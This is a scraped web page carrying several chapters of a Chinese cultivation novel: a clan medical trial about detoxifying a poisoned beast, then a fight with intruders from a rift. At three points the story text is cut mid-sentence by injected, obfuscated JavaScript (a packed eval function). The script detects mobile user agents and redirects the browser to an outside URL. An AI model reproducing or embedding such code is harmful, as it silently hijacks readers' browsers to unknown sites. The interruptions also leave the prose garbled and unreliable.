一众学子多是刚过聚气,别说二阶魔兽了,恐怕连二阶灵植都没见过,骤然见得这样庞大的魔兽,甚至有几个胆小的都被吓得往后退了小半步。 居然连二阶魔兽都搞来了…… 宁竹同样惊讶,他上下打量着那只被灵阵隔绝的魔兽,便很快注意到,它的一只后腿上血肉模糊,在它挣扎的过程中隐约能看见伤口底下的白骨。 而它滴下来的血液呈不自然的乌紫色,坠在地面上,甚至令得那坚固石岩泛起骇人的气泡,出现被腐蚀的痕迹。 ——毒。 宁竹稍有些讶异,他微微皱眉,思索间,便有了对医药阁这最后一试的猜测。 侍者环顾台下众人,他冷声道:“这只魔兽是四长老在山林里带回来的,致命伤已治愈,暂无性命之忧,但初步检测判断,魔兽体内至少有三种毒素混合发作。” “接下来,你们有一炷香时间观察这只魔兽的伤势,靠近也好,不靠近也罢,一炷香后,正式开始第三试。” 果然。 侍者所说的和宁竹猜想的大差不差。 辨药、治疗……最后投入实战,这倒是和宁竹在外所学大差不差。 “你们有一个时辰进行配药炼药,所需药材尽管提出,侍者会为你们取来。” “现在。医药阁考核试炼,第三试:解毒。” “试题:观察魔兽的伤势,配出消解毒素的药方。” “时限:一个时辰。” 侍者缓缓抬手,那灵阵上空传来一阵剧烈的波动,压得那只魔兽面露痛苦之色,不得不趴伏而下。 “开始吧。” 又一炷香点燃。 但这回,台下众人皆是面面相觑,或是出于对这只庞大的魔兽的本能恐惧,没有人动,宁竹自然也不会做那只出头鸟。 他又一次观察着周围的人,从他们彼此交流的眼神中推断出信息——或许这些人,是第一次接触这样复杂的实战。 奇怪。 宁竹自第一试开始时便有的疑惑越来越浓烈。只会配药、会用治愈术,却不钻研药……甚至连未经处理的药草本体都不算熟悉。 为什么?宁家这样培养出来的人,当真算得上医者吗? 可宁家的医术在外有口皆碑,这又是为何? 宁竹想不明白,他抬眼,便看见宁轲越过众人,径直走向那方灵阵。 百米距离,使用灵力也不过短短几个飞跃,可宁轲没有,他走得不快,一步一步地踩着地面,从一众学子中走过,所有人的目光便聚在他身上,或愣怔或犹疑地盯着他的背影。 片刻,宁巫紧随其后。 她猛然蹬地,灵力于她脚上牵出一道亮色轨迹,短短几个跃步她便跟上了宁轲,又自觉落于他一步之后,同样改为了步行。 人群里有谁“啧”了一声,第二个人走出方阵,接着是第三个、第四个…… 所有人都动了起来。 宁竹混在人群中跟上,落在一行人的中后方。他看着走在最前的人的背影,某种熟悉感又一次涌上心头。 ……如果是宁殊哥在这里,他会怎么做? 宁竹的思绪触碰到了那抹熟悉感,于是他设问,于是他作答—— 像宁轲现在做的一样。 不言语,只以身作则去调动所有人,像某种参考、某个道标。 . 百米距离很短,不过片刻便走到了这只魔兽身前。 见得人类的靠近,魔兽扭曲的面庞上显露出几分惊恐,它呲牙咆哮,可声音被隔绝后,那原本应当让人恐惧的怒吼没能传出,便显得它那狰狞的面目带上了几分可笑。 离得近了,又亲眼看到了魔兽如何被灵阵死死压制着,原本还有些紧张不安的人顿时松了一口气,转而试探着围着灵阵走动,试图隔空判断出这只魔兽所中的毒是什么。 宁轲大步迈进了灵阵之中,宁巫同样跟上。 宁竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15039117|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这回倒是没再落于人后了,他同样迈入灵阵中,迎上宁轲的目光。 灵阵之中,魔兽痛苦而愤怒的嘶吼便清晰地传入三人耳中,有人看着他们面不改色地走了进去也想跟上,结果刚一踏步,便被魔兽的怒吼震得脚上一个趔趄,顿时脸色煞白连滚带爬地又冲出灵阵之外。 灵阵内无一人对其投以半分视线。 宁轲神色冰冷地盯着宁竹,他双手捏紧握拳,或许是想起了郁苍谷中接连被宁竹坑的那几下,又或许是宁竹早已识破了他的和善伪装,他面色不甚好看,而宁竹视若无物,径直走向那处骇人的伤口。 宁巫上前拍了拍宁轲的肩,少年不甘地长出一口气,他扭过头,选择了和宁竹相反的方向。 . 辨别毒,有两种方式。 一是用灵力探视,二是用血液辨析。 寻常人大多会使用灵力探视,就像宁轲所做的那般,而宁竹更多是使用后者。毒素侵蚀躯体,最明显的便是血液,然而大部分毒素会致使血液染上毒性,因此大部分人不会轻易靠近接触。 这对宁竹来说倒不是什么难事。 他蹲下身,看着地面那处被毒血腐蚀、散发出阵阵恶臭的石岩,他伸手,掌心覆上一层水色灵力,直接抓起一块碎石碾碎了看。 逸散出的黑烟被灵力裹挟,便如墨汁滴入清水,瞬间搅得宁竹手上的水膜浑浊,丝丝缕缕的乌紫丝线在水膜中涌动。 蛇毒。 宁竹心中有了定数,他从水膜中牵引出极小的一丝出来,紧接着毫不犹豫地滴在自己的手背上。 刺痛。宁竹眉头都没皱一下,他全神贯注地感受着那一点毒性发作起来的感受。刺痛之后是细微的麻痹,宁竹感觉到些许晕眩,而毒液滴下后的那处皮肤开始泛红,手背不受控地轻微抽搐。 一阶魔兽,幽冥蟒的神经毒素。 他又转过头看向那处巨大的伤口,伤口处的皮肉呈不正常的腐烂,魔兽挣动间还能看见皮肉中渗出来的灰绿色汁液,腥臭的气味跟着它的动作扑面而来。 火毒。 无法愈合是火毒创伤的显著特征,这点不难分辨,难的是,具体是什么类型的火毒。 宁竹抬手,自指尖飙射出而的水灵力裹住了一点灰绿色汁液,他故技重施地从中提取出一丝微小的毒素,紧接着毫不犹豫地滴在自己手背上。 灼痛。仿佛在他手背上点燃了一簇火苗,那焰火越烧越烈,宁竹垂下眼,便见得手上那点肌肤已经隐隐呈现出溃烂的痕迹。 好霸道的火毒。 宁竹甩了甩手,体内自然运转的灵脉迅速找上那一点侵入的毒性,他刚站起身,手上的灼痛感便消失不见了。 这火毒发作起来像火源原矿,而这样大面积的创口,或许是火源原矿的棱刺直接扎穿所致。 三种毒素混合发作,还差一种。 从伤口中分辨不出来了,或许还是得用灵力探视…… 宁竹思索着,他围着魔兽走了几步,绕到魔兽另一侧准备观察是否还有其他的创口,却在走动中脚下一顿,某种令人不安的震颤在此刻忽然袭来。 少年抬起眼,远处那栋阁楼上,原本坐在太师椅上的长老不见了踪影。 ——发生了什么? 38.拖延时间 “回神。” 蝎子的声音突然响了起来,宁竹顿了片刻,转头将这些疑惑尽数压下。 ——连蝎子都敢主动和他链接了,那说明,长老的确是不在这里了。 他有很长的时间可以用来疑惑和思索,但香已过半,此刻去琢磨方才感知到的东西,对试炼而言纯粹是浪费时间。少年眼神一凝,思绪便从繁乱的疑惑中抽出,再度投注这场试炼。 宁竹伸手按在魔兽的身上,过长的毛发并不显柔软,反而每一根毛发都硬得像刺。 “吼……!” 宁竹的手按上去的时候,这只魔兽发出的怒吼隐隐带上了几分颤音。也是。遭了这么严重的伤,还被灵阵压着任人摆布,连自尽都做不到,这对生来便对人类不屑的魔兽而言,堪称奇耻大辱。 “吵死了,畜生!”有人似乎忍受不了它着只能虚张声势般壮胆的吼叫,那人仗着灵阵压制,他重重踢了一脚魔兽,“叫什么叫!” 魔兽呜咽般地闷哼一声,它赤红的双目中隐约可以看见屈辱的神色,但掩藏在愤恨之下的,是惧意。 它很害怕。 “不想考了就出去,”宁轲开了口,他一双眼瞥了过来,冷得像冰,“我允许你踢我的考卷了吗。” “哎……没、没,我不是那个意思……” 那人被宁轲看了一眼,顿时意识到自己冲动上头了,他张了张口想要辩解,可周围的人听了宁轲的话都看了过来,眼底皆是有了几分嫌恶之色。 没有人开口,却又默契地把这人排挤在外了。 那人脸上青一阵白一阵,抬起的手几次指向宁轲了,还是没敢挑战这位长老亲传弟子的权威。 冲动吗? 宁竹盯着那人隐隐涨红的脸,又瞥过周边几人所露出的排挤之色。他心里已经有了答案。 ……起先令人躁动,之后产生幻觉,如果没能及时觉察到幻觉,便会在幻觉中癫狂至死。 幻毒。 第三种毒,竟然是这只魔兽自带的。但按理说,魔兽应当能免疫自身的毒,像这种被自己的毒毒倒了的情况,先不说罕见了,光是说出去就能是坊间流传好一阵的笑料。 宁竹稍稍闭眼,一点水灵力便幻化似箭涌上自己的眉心,以镇清明。 如果他没猜错,大概是这只魔兽在突破的时候遭到了幽冥蟒的偷袭,引发了灵力紊乱、毒素反噬,最终在和幽冥蟒的搏斗中摔落山谷,被火源原矿穿刺了后腿。 ……好倒霉一只魔兽。 宁竹轻轻拍了拍这只魔兽的躯体,已经有了粗略的解毒眉目。 幻毒和蛇毒是同类型毒素,外在体现类似,但幻毒是魔兽自身的反噬,所以不能用解蛇毒的方式去配药方,只能通过引导魔兽内里的灵力来正位,而解火毒则需要镇火气,如果依照宁竹的思路,必要的时候可以剜去腐肉…… 但题目只允许了配药来解。 啧。 “香尽。” 就在宁竹思索间,台上侍者已然挥手,骤然缩小的灵阵迅速将围在魔兽身边的人排了出去,顿时人群里响起了几声抱怨似的哀嚎,台上侍者扫了一下,人群又当即收了声假装方才发出声音的不是自己。 “一个时辰,计时吧。” 漂浮而起的沙漏无情地开始流走,当下有人变了脸色,争先恐后地跑回自己的小桌前。短短一炷香的观察并没有让所有人都理出个思路来,至少现下跑回桌前的大部分都是一副冥思苦想的姿态,少有的几个趴在桌上开始写药方了,却也还是几番写了又划去。 这题很难。宁竹心里有数,他抬眼看着没走的宁轲的和宁巫,前者若有所思,而后者面上隐隐露出几分难色。 可尽管如此,在察觉到宁竹看过来的时候,宁巫还是狠狠地瞪了回来。 “宁竹,你会怎么解呢?”宁轲说。 宁竹眉梢一挑:“试炼不允许交流吧。” 宁轲笑了,他道:“宁殊虽是在执法堂,但他的药学医术也没有落下,这题让宁殊来解,他也解得出来。” “我很好奇,宁竹,他教了你多少呢?” 宁竹轻轻嗤笑一声:“那你又教给宁巫多少?” “不多。够用。”宁轲倒是坦然。 宁竹却忽的收起了笑:“别试探了,宁轲,端着笑也不嫌脸酸。” 少年神色冷淡,露出一点长久以来遮掩的锋芒:“你只是害怕输给宁殊哥罢了。” 宁轲面不改色:“所以,你这算是承认了?” “承认?相反。宁殊哥没教我任何东西,”宁竹最后瞥他一眼,旋即头也不回地大步迈出,“你赢不赢我,都和宁殊哥无关,而你连和宁殊哥较量的勇气都没有,谁输谁赢,不早已是一目了然吗。” 宁巫愤然怒骂:“油嘴滑舌!” 她刚上前一步要追,又被宁轲拦住了,她不解地看向宁轲:“……老大?” “别冲动。”宁轲低声道,“先把考核过了。” 他教给宁巫的东西绝对够用……只要宁巫没有忘记。 至于宁竹…… . 宁竹回到自己的小桌前,但和大部分人一样,宁竹并没有立刻开始配药方,反而是陷入了深思。 这毒能解,但宁竹善以毒攻毒,在毒师会被群起攻之的大环境下,宁竹反倒不能轻易暴露自己善用毒的事实,虽然不清楚宁家对毒的态度,但宁竹小心谨慎惯了,总归不会在这种后路不明的情况下贸然行事。 这无疑是给宁竹加了一层枷锁。 不能用毒,也不是不能解,但效果……宁竹就不太敢保证了。 他的手在桌面上轻点。 不知道暗中观察了多久的蝎子跃跃欲试,它的声音又冒了出来:“其实……” 它还没说出后半句,宁竹迅速打断:停。 蝎子:? 它分明还没有透露出半分自己的意思,宁竹却像是笃定了它会说什么,少年语气平静:用不上。 蝎子“啧”了一声,愤愤断线。 宁竹感受着心底如潮水般退去的波动,他重新凝神,看着面前的白纸。 他当然知道蝎子是好意,但解毒而已,还不至于要蝎子帮忙。只是不能用顺手的方式,又不是让宁竹接触全然陌生的领域,何况——这本就是他擅长的东西。 宁竹提笔蘸墨,于纸上落地一行大字。 他写得很快,迅速将白纸交到了侍者手中,而围观了书写全程的侍者:…… 侍者表情是恍惚的,声音是颤抖的:“你确定……你没写错?” 宁竹点头:“反正不收钱。” 侍者:…… 侍者满脸呆滞地拿着纸走了。 宁竹安静地等候着侍者取药归来,周边有人听见了动静张望过来,宁竹无所谓地任其张望。配置药方才只是第一步,根据自己的药方炼制出可以使用的药剂,才是真正拿来交卷的东西。 因此这最后一试,必然会淘汰不少人。 毕竟,在场已是有不少人配药方配得面色铁青了。 侍者很快取来方子上的药物,为了防止周围人窥探答案,这些药物都是装在封镇药性的玉盒之中,待那面上显然可见不情不愿之色的侍者放好玉盒,小桌下的灵阵便自动升起,迅速将周围所有人的视线隔绝在外。 宁竹打开了玉盒。 . 一个时辰说短不短,但对这群全神贯注着炼药的少年们来说,感知中也不过眨眼一瞬。 越来越多的灵阵升起,又陆陆续续有确认交卷后的灵阵消散,宁竹早早配好了药方,却赶在沙漏只剩浅浅一层的时刻才确认交上药剂。 他周身的灵阵缓缓散去,制好的药剂灌入白玉瓶中,正正置于桌子中央。 而在他的周边还有不少人的灵阵还没散去。 宁竹一如既往地观察周围,他抬眼装作不经意地去看沙漏,顺带用余光瞄了一眼阁楼,而阁楼上依旧只有那位跟在长老身侧的侍者。 一个时辰过去了,突然消失的大长老依旧没有回来。 沙漏中最后一粒沙落下,侍者却没有喊停的意思,他看着台下微微颔首,那些位于灵阵之中的侍者便收到了指令,无一人叫停他们的炼药。 广场上大多数人都在方才的炼药中进入了心流状态,而心流可遇不可求,现在强行打断,对那几位没能在规定时间内炼药成功的学子而言,损伤更甚。 台下有轻微的几下骚动,旋即又很快被按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“两回事,别那么记仇,”宁竹心下笑了一声,他顿了顿,语气便忽的严肃起来,“……你刚刚感受到了吗?” 蝎子倒也没在这件事上跟他扯,听着宁竹拐入正题,蝎子的语气便也正经得多了:“你说那波动?” “……我之前感受到过一次。就在一个月前。当时我只感觉到了异常,但我能力有限,我不清楚具体是发生了什么。”宁竹将自己的疑惑托出,“你是高阶魔兽,你知不知道是什么情况?” 蝎子却没像方才那样立即回答他了。 宁竹微微低头,借着额前散下的碎发遮掩了蹙起的眉,他尝试再度呼唤:“蝎子?” “回神!”蝎子却突然一声低喝,震得宁竹恍然一瞬,少年意识即将抽出识海的瞬间,蝎子又叮嘱:“……注意感受。” 什么? 宁竹没反应过来,紧接着更剧烈的震颤席卷而来,极其强大的灵力如同浪潮一般拍打而下,少年浑身一颤,自脚底飙升而起的寒凉仿佛拉响了某种警报,带着刻入血脉的恐惧冲刷着宁竹的意识逼迫他屈服于本能逃跑。 少年猛地抬起头。 “那是什么?!” 人群的惊呼将宁竹的意识拽回大地,他眼中失焦的世界又一下凝聚,于是他看见了,原本万里无云的天幕被劈开一道黑色裂缝。 那裂缝极长、极深,只是看着,都令人感觉到浑身的血液仿若凝固,如一张凭空张开的巨口要将广场下众人吞噬。 那是什么? 少年的瞳孔震颤了,他下意识地想往后撤步,却发现自己的双腿仿佛灌了铅动弹不得,他能做的只是看着,看着那道裂缝中冲出四道流星—— 不。 ……那是人? 宁竹愣怔地看着那四道裹挟着光辉的人影不受控地被轰出裂缝,那姿态极其狼狈,甚至有人更是身子一扭就想借着这股力量逃离这广场上空。 然而下一瞬,巨大而恐怖的重量压迫而下! “唔!” 空中,有一人似乎承受不住这股重压,一大口鲜血喷涌而出,可那点精血没能落地,只在轰然袭来的热浪中化作血雾消逝于风。 又有一人手持长枪,一步一步自那裂隙中踏步而出。 那人周身灵力萦绕,金与红相映交织。自血脉中升腾起的激动抹去了宁竹对于危机的本能惧意,他愣愣地看着自裂隙中走出的人。 这人,他认识…… 周边的人爆发出一声失控的呼喊,一语道出那人的身份: “是轩队!!” 39.闯入者 她为什么在这里? 对面那和她对峙的四人,又是什么身份? 疑问又一次涌上心头,可无人能替他作答,就连蝎子也再一次断开了链接不回他了,此刻的宁竹只是一个旁观者,愣怔地看着空中轩队一人对峙那四位。 而显然落于下风的人,不是她。 可…… 踏空而行。 这些人……竟都是灵境强者? 轩队……也是? “宁家小儿,做人留一线!”有一中年男人面色铁青,他手一翻,掌中金色的灵力积蓄着。 轩队面色冷淡,她扫过一眼那男人警惕与不忿的神色,她忽的嗤笑了出来:“几位擅闯我宁家内族时,可似乎没想过啊。” “笑话!”男人怒斥,“这方秘境本就无主,何时归属你宁家了!” “是吗?” 轩队——宁轩唇角扬着浅浅的弧度,似笑非笑地转了视线,扫过下方,瞬间,宁竹周遭的人撕扯着嗓音呐喊起来: “滚出宁家!!” 这一声如水珠坠入热油之中,人群反应剧烈:“轩队!把他们打出去!!” 呼声如巨浪掀起,少年人的声音交织在一起,毫不留情地甩了空中那几位闯入者的脸。 他们未必知道发生了什么,也未必知道这些人是什么身份,但这些人站在宁轩的对面,对宁轩摆出攻击姿态,只这一个姿态,瞬间激起少年人对家族的归属感,纵使这种等级的斗争并无他们插手的空间,他们毫不犹豫地站在宁轩的身后。 ——滚出去,闯入者! “你……!” 顿时那中年男子脸上的铁青变为了臊红,他低头看着下方一张张稚嫩的面庞,掌心不受控般微微偏转了方向—— 这一掌未必能叫与他同阶的宁轩受创,但让底下这群顶多聚气的无知小儿们重创,绰绰有余。他掌中的光芒越发锋利,弓起的指节更是由于绷得过紧而颤抖。 “哼……” 空中传来一声沙哑的冷哼,宁竹紧绷的神经瞬间感知到,空气中的温度骤然抬高了些许,隐隐烧得皮肤灼痛。宁竹顾不得那点刺痛,他的眼睛一瞬不瞬地盯着空中——宁轩的身后,两道人影凭空出现。 “看来是我们这群老东西太久没出来活动筋骨了,竟叫一群刚结丹的小子们挑衅上门了。” 抚着长须的瘦削老者面色冷峻,他旁侧,双手负于身后的女人没有接话,只双眼冰冷地盯着对面意图朝孩子们下手的男人。 ——宁家,炼丹堂三长老、执法堂四长老! “哗!” 人群哗然。 他们平时里并非没见过这二位长老,可这是他们第一次,看见真正动了怒气的长老们。 少年们神色激动,对宁家的归属感在无形之中更上一层,而除了这两位露面了的长老,灵植院的二长老,他们医药阁的大长老,似乎也在暗中注视着。 灵力波动相互倾轧,震出的余波足以叫台下仅是聚气的少年们受到伤害,然而那震荡的灵力从始至终没有落下来过,仿若有一层无形的屏障隔绝在他们与闯入者之间,将他们稳稳护在身后。 ——这必然是大长老出手了! 少年们在混乱中彼此对视,便从对方的眼中读到了同样的猜测与惊喜之色。 “好、好、好……!”那男人声音嘶哑,仿佛雄狮低哑的咆哮,“看来是我错估了你宁家的野心,哈,医者——” “垄断整片长涯界的医疗资源,再下手争夺所有无主秘境发展自身,这才是你们宁家行医的真正目的吧!” 那男人神色扭曲,他吼完,便是一掌轰出! “多舌。” 宁轩丝毫不惧,她提枪冲上,长枪上光芒闪烁,悍然刺出! 轰!! 刹那天地色变,巨浪般翻涌的灵力波动震得众人脚下的石砖震颤,不得不凝神将灵力聚在脚下,费力才能勉强站住。翻涌的黑烟之中看不清了那些人的身形,然而流光般刺出的灵力接连扇动,短短数秒,已有十数个来回! “事已至此,无论如此宁家都不会放过我们了!”又有一男人站了出来,他这一声即是自我说服,也是劝告另外两个面露退意的人,他低吼道,“方兄,我来助你!” 飓风般掀起的云雾朝他席卷而去,男人一咬自己的舌尖,喷出的精血飙射入气旋之中,刹那云雾凝实,一柄巨镰缓缓成型—— “铮!!” 宁轩一枪劈下,被称为方兄的男人下意识退步去避,却不料宁轩正是等他这一退! 青年抢出一瞬的空档轰出一箭,男人不顾一切地伸手去挡,那一箭却在接触他掌心的一瞬消逝—— 残影! 方姓男人眼瞳大震,没有空隙让他思考,枪尖已然对住他的面门刺出! “轰!” 三道巨响几乎叠在一起响起,太近,太相似,可宁竹还是分辨出来了。 第一声,是轩队射出的长箭被另一人劈断。 第二声,是那方姓男人悍然以手为盾挡下了宁轩直刺命门的一击。 第三声,是方姓男人轰出的一声,直直轰上了宁轩的护盾,震得青年不受控地飞出! 他的手臂被捅了个对穿,宁轩却在没在他这以血换血的一击中讨到好,青年唇角溢出了血,她却在稳住身形的一瞬便扭转的方向,朝着那逐渐成型的巨镰冲出,长枪之上,隐隐有龙吟迸出! “吼!!” “我来!” 先前截断了宁轩长箭的人低喝出声,他双手接连结印,瞬时间空中凝结出一道道冰棱,甚至可以称为—— 铺天盖地! 铮! 长枪在宁轩手上挥出成圆,能挡!可她的速度不得不缓下来,而巨镰已然成型! 男人脸色涨得极红,他“嗬”地一声,像是拼劲是全身的气力才调动了那柄长镰,只轻轻一动,便令得天地间的灵力都被巨镰抽调走了,宁轩脸色冰寒,万道冰箭在前,而身后,那方姓男人以血化刀,劈出血色刀芒! 危险! 广场上的少年人心中皆是空了一拍。 然而下一瞬,是刀芒劈开冰箭,血色混搅着冰箭所化的寒骨水液如雨坠下! 宁轩的身影出现了数百米之远。 以一敌四做到如此境地,逼得对手接连祭出杀招,宁轩已是非常了不起了。 但…… 但这柄巨镰就没办法了吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102141|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不,还有长老们没出手! 少年人的视线几乎这一瞬不约而同地转向了后方两位压阵的长老,可他们依旧保持着原来的姿态,没有半分要出手的意图。 这是什么意思? 少年们心下一愣,原先还有些嘈杂的人群顿时鸦雀无声,于是宁轲的声音便在人群中传来,带着几分不容置喙的喝令: “随我起阵!” 他周身盘旋着轰然凝聚的灵力,水色灵脉在此等强压之下仍强硬地从空中榨取到了灵力,又随着他的调动,灵力灌于脚下。 宁轲脚下的石砖上,亮起了属于灵阵的繁杂符文! 宁轲冰冷地盯着他:“宁竹。” “用不着你说。”宁竹笑了一声,他的身上,水色灵力同样被调动了灌入其中。 人在六神无主的时候总会下意识地听取他人的命令,少年们竭尽全力榨干自己体内哪怕最后一丝一毫的灵力,随着宁轲的指令灌入脚下灵阵—— 轰! 蓝色光柱冲天而起! 而几乎是在同一时间,金、绿、红、褐四道光柱同样冲起空中,仿若某种支柱般强硬地介入空中的战场。 宁轩的气势在此刻陡然拔高! 甚至是……灵力阶层! 她的等级在短短数息之内便几乎飙升到化海境之巅峰,就连方才受到的伤害都像是在宁家的少年们汇聚的光柱之下被治愈,她的状态越发强盛,手中长枪龙吟激昂。 在她的身后,一道放大了十数倍的人影,冰冷地俯瞰着面前垂死挣扎一般的人。 巨镰带着狂风斩下,长枪几乎要破开虚空般轰然刺出—— 轰!!! 这一声石破天惊,几乎令得在场所有的人之听见了一声剧烈的嗡鸣,强烈震开的波动震碎了脚下的石砖,震裂了不远处的擎天巨树,甚至有几个修为偏低的学子耳朵生生被震出了血来。 鲜红的液体顺着脸庞坠入地面,他们不知不觉,只紧张地看着空中。 长枪最终还是破开了巨镰的风,宁轩悍然追击,枪尖直指那人心口! 纵然宁家是医修世家向来与人为善,却也容不得如此被人挑衅。 擅闯我宁家、将我宁家闹至此。 我宁家何时是你想来就来想走就走的地方? 宁轩毫不留情地刺出长枪—— 留下命来! “噗!!” 长枪穿刺□□。 血液飞溅如瀑。 宁轩的眼中闪过一瞬的错愕,原本应当被捅穿的人面上露出无法理解的惊恐,他喃喃地、像是不可置信一般地低语:“方兄……?” 正是那方姓男人! “走!” 男人唇角呕出一大口鲜血,他骤然怒吼道,拼尽最后的气力攥住了宁轩的长枪。 宁轩面色一变,她顺便意会到了面前这个男人准备做些什么,顿时是要放手退开,那男人却预判了她的动作,他不惜再往前,再往前一步,长枪在他身体里又没过一尺,他的手已然扣住了宁轩的手腕—— 他的丹田亮起了骇人的诡异光彩,狂躁的灵力波动宣告着对方的意图。 “给我陪葬吧,宁家小儿。” 40.投机取巧(二合一) 刹那是一道寒芒。 紧随是一团烈火。 宁轩一动不动地停在原地,她的手上还留着中年男人那紧攥着她的手——或者说断肢。 寒芒太快、太快,快到中年男人甚至来不及意识自己的手已然被切断,快到那断肢还残留着意识地驱使将青年的手腕攥得青紫—— 中年男人眼中的疯狂还没散去,烈火便如此纠缠上他的身躯,更加狂躁的烈焰将那即将炸体而出的灵力尽数压回,男人浑身的筋肉都因堵塞而鼓胀,他不可置信地瞪着一步之遥的青年,他要上前、他要拽住面前的天骄,然而一切都来不及了。 灵力轰然炸裂,他的躯体在烈火之中炸成一团血雾,火苗攒动,往外延伸了些许,又在宁轩面前止住。 青年平静地站着,那蹿出的火焰甚至没能撩动她的一根发丝。 而她手上的断肢终究失去了与本体的联系,它坠下,于是另一团火也将它焚尽。 短短数息之间的变化已然另在场众人瞠目结舌,那三位想趁机逃窜的灵境强者却还没来得及走出多远,便在众目睽睽之下撞上了一堵空气墙。 “呕……” 少年们脸色煞白,他们从未见过如此血腥的场面,登时是有人捂着嘴低呕了一声。这一声如同引发了某种连锁反应,接连反应过来的少年们接连移开眼,人群小声地涌动着,寻求着来自身侧同胞的温度。 这样的场面对一群涉世未深的少年来说着实有些过于残忍,可深感血腥之余,却有些人隐隐跃动—— 他们的两位长老,居然是一出手就能把一位灵境强者的自爆按下来的超级强者?! 此番想法在少数人心中响起,便也有人的眼移到宁轩身后不远处,那两位只是站在原地为宁轩压阵的长老身上。 ……难怪蝎子不敢轻易在长老们面前与他发起链接。 宁竹同样是有此想法的人,他愣怔地看着空中的两位长老,除了抬手牵引灵力,他们似乎就没有再做别的事,轻飘飘的,仿佛那灵境强者的自爆袭击,丝毫不值得入他们的眼。 . “唉,老四,我现在觉得大长老说得对,我们隐居太久了,”三长老还维持着抬手的姿势,他的指上火焰缭绕,“竟然被几个结丹小儿以自爆做威胁了。” “隐居是族长的旨意,你和大长老有意见,那去和族长说道说道。”四长老瞥他一眼,她抬手,金属冰冷的寒光便落在宁轩手中的长枪上。 “去吧,轩,你知道该怎么做。” 宁轩一抖长枪,面前的火焰便如同感召到了牵引,烈火缠绕上了她的长枪,裹带着血色的雾,她缓缓踏步而出。 金色法身在她身后,随她的动作一并提起长枪,法身垂下眼,瞳眸之中仿若倒映出了面前的三个人——三具尸体。 “弟子明白。” “不、不……你们,你们不能杀我……我是俆家的人……”死亡的威胁压下来,竟有人扛不住了面露惧色,他嘶哑地说着分不清是威胁还是求饶的话,整个人抵在空气屏障上滑稽地扭动着,仿佛这样就能找到一条可供他脱身的缝。 “你们不能杀我……对!你们不能杀!徐家可是你们宁家一直以来的药材供应商,你们……你们……啊!!” “聒噪。” 宁轩冷冷地掷下话语,她的长枪终究捅穿了他的躯壳。 接着是第二个、第三个—— 四个灵境强者就如此轻易而草率地在宁家的地界里殒命,宁轩缓缓举起长枪,顺着长枪淌下的血液甚至没来得及污染她的手,便被烈火焚成了烟。 人群愣怔,于是那些嘈杂涌动的声音都散去,少年们听见了彼此沉重的呼吸声,又似乎听见了彼此过速的心跳。 “赢了?”有人不可置信一般地喃喃。 “赢了!”有人撕扯着嗓子竭力呼喊。 在场的少年们雀跃欢呼起来,他们的灵力还在灌入脚下的灵阵,冲天而起的光柱还没有散去,这便让他们深刻地意识到,他们也在这场驱逐入侵者的战斗中同出了一份力。 他们嘶喊起来,高呼着冲在最前、替宁家驱逐入侵者的宁轩。 “——轩队!!” . “呵呵,这帮小崽子还真是有活力啊。” 三长老将下方少年们的反应收入眼底,不止正在试炼中的医药阁,还有聚在炼丹广场上、执法堂练武场上的弟子们:“走吧,老四,回去交差。” “你先去,我总要看看我的弟子如何了。” “唉,宁轩你还放心不下?” “两码事。”四长老摇头,再一闪身,她出现在宁轩身侧。 两位长老的对话并未传出,少年们只见得空中仅剩的三人身形一闪,四长老出现在轩队旁侧,接着两人一同消失,三长老则身形散去,天空重归平静,而那倒裂隙,不知何时已然消失了。 宁竹缓缓收回视线,他敛起灵力,环顾四周。 少年们脸上已没有了方才的慌乱、恐惧、不安,与之相反,他们面上涨红,眼中尽是激动之色,仿佛他们也是方才参与了驱逐的一员。 对宁轩的崇拜、对宁家的归属感,此刻正肉眼可见的飙长着。 宁轲任由人群骚动,如此场面也是他作为宁家长老的亲传弟子乐意见得,好一会儿了,他令那灵阵停止运行,光柱缓缓散去,他才站出来主持场面:“好了,诸位。” “入侵者已被斩杀,这场插曲已然结束。” “诸位都为宁家献出了自己的一份力,感谢诸位的配合与付出。” “而此刻,属于我们的试炼还在继续,现在,请诸位归位。” 他短短几句话肯定了所有人的付出,一下将众人心中的自豪推上了又一个新的峰值,少年们缓缓回到属于自己的位置上,这回,没有人再面露不满抱怨等待了。 宁竹借此微微合上眼,他在脑中回放着先前与蝎子的对话,还有那之后那几个闯入者和宁轩的对峙…… 秘境、垄断医疗资源、方兄、徐家…… 太多太多的疑惑令宁竹不解,但唯一能清楚的,是外界显然有众多人对宁家颇有微词,而他们……并不清楚宁家体量究竟如何。 否则,他们不会当着两位轻易能让他们失去战斗能力的长老之面,如此挑衅宁家。 而秘境……莫不成先前那道裂开的缝,是无主秘境的入口? 蝎子当时让他注意感受,又是让他注意什么? “注意裂缝啊,幼崽。” 蝎子懒洋洋地声音又响了起来,它的声音一响,宁竹便放松了下来,这说明几位长老并不在场,否则以蝎子的谨慎性子,断然不会轻易链接他。 